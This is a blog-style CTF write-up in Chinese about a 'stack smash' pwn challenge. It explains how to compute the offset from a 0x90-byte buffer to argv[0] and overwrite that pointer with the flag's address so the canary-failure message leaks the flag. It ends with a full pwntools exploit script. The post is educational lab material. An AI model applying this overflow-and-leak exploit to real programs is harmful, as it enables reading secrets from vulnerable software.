Share this post on:

xpl(stack smash)

题目来源

本来只是简单的复习一下stack的相关知识,没想到通过这个题发现了自己两个很基础的知识没有掌握,所以写一篇wp来记录一下

题目情况

checksecimage-20220517142308288

放进idaimage-20220517142521905

看上去有点复杂,发现了main函数点进去分析image-20220517142629029

main函数流程:打开了flag.txt然后将其读入v9中,然后输出了v9的地址,并等我们进行输入

  • read的限制是0x400,v10只有0x90的大小,则存在栈溢出
  • 题目给我们提供了v9的地址(即flag的地址),可以想办法泄露这个地址的内容(自然就想到了stack smash的方法)
    • 注意stack smash是必须有canary存在时才可用(覆盖canary使其报错打印信息)
    • 其次使用stack smash之后程序就因报错结束了所以这只能利用一次

大致思路

  • 计算read函数写入地址(v10)与argv[0]的偏移

在main函数打断点,发现RSI处保存的地址指向的地址内容是程序名,即argv[0]的地址,那么我们需要覆盖的地址就是这里,即覆盖 0x7fffffffe138

image-20220517144240025

首先计算保存argv[0]的地址到main函数的rbp的偏移:

0x7fffffffe138 - 0x7fffffffe050 = 0xe8

然后查看v10到rbp的偏移:image-20220517144903755

所以总的偏移量:

offset = 0xe8 + 0x90 = 0x178
  • 想办法将argv[0]的地址覆盖为v9的地址
    • v9的地址题目已经提前给我们了
payload = b'A'*offset
payload += p64(flag_addr)

注意点与收获

  • 关于究竟哪儿才是一个函数开始的地方

在计算偏移时,我第一次打断点的地方:image-20220517150505461

很自然的我打在了 0x40105E 这个地址,但多次计算偏移发现就是会出错而且在调试程序中我也看不见正确的rbp地址image-20220517150723657

看图可以发现这里的rbp地址明显不对

百思不得其解,然后换了一种打断点的方法 b main

image-20220517151029863

image-20220517151044790

明显地址不一样,看汇编得到了解释:

000000000040105E ; __unwind {
000000000040105E                 push    rbp
000000000040105F                 mov     rbp, rsp
0000000000401062                 sub     rsp, 130h
0000000000401069                 mov     [rbp+var_124], edi
000000000040106F                 mov     [rbp+var_130], rsi

发现0x40105E处只是将上一个函数的栈帧入栈,还没有开辟新的栈帧,即main函数还没有被调用,此时是处于准备阶段

而真正调用发生于执行完mov rbp, rsp(0x40105F)后,这里才开辟了新的栈帧所以使用b main的方法打断点的地址是0x401062

  • 关于地址的不同意义与保存内容

如何理解下面这张图的地址?

image-20220517152256043

0x7fffffffea11 存放的内容是程序名(argv[0])
0x7fffffffe808 存放的是“存放程序名”的地址,所以应该覆盖的是这个地址使其指向目标地址
  • python split方法

起因:不知道为什么我在获得地址时不能用

flag_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

然后偶然想起切片的方法,就去查了一下可以用split

Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串

str.split(str="", num=string.count(str))

str -- 分隔符,默认为所有的空字符,包括空格、换行(\n)、制表符(\t)等。

num -- 分割次数。默认为 -1, 即分隔所有。

有一段输出的语句,现在我要提取当中的地址

image-20220516220057417

addr = int(sh.recvline().split()[4], 16)

逐一翻译一下上面的含义

int 转换为整型

.split对接收的一行数据进行切片

[4] 定位到第四个切片处(途中的语句的第四个空格后的数据)

int( , 16) 转换成16进制

完整exp

from pwn import *

p=process('./pwn')
context(os='linux', arch='amd64', log_level='debug')
gdb.attach(p)

flag_addr = int(p.recvline().split()[4], 16)
log.success('flag addr is :' + hex(flag_addr))

offset = 0x178

payload = b'A'*offset
payload += p64(flag_addr)

p.send(payload)

flag = p.recvall()
print(flag)
Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注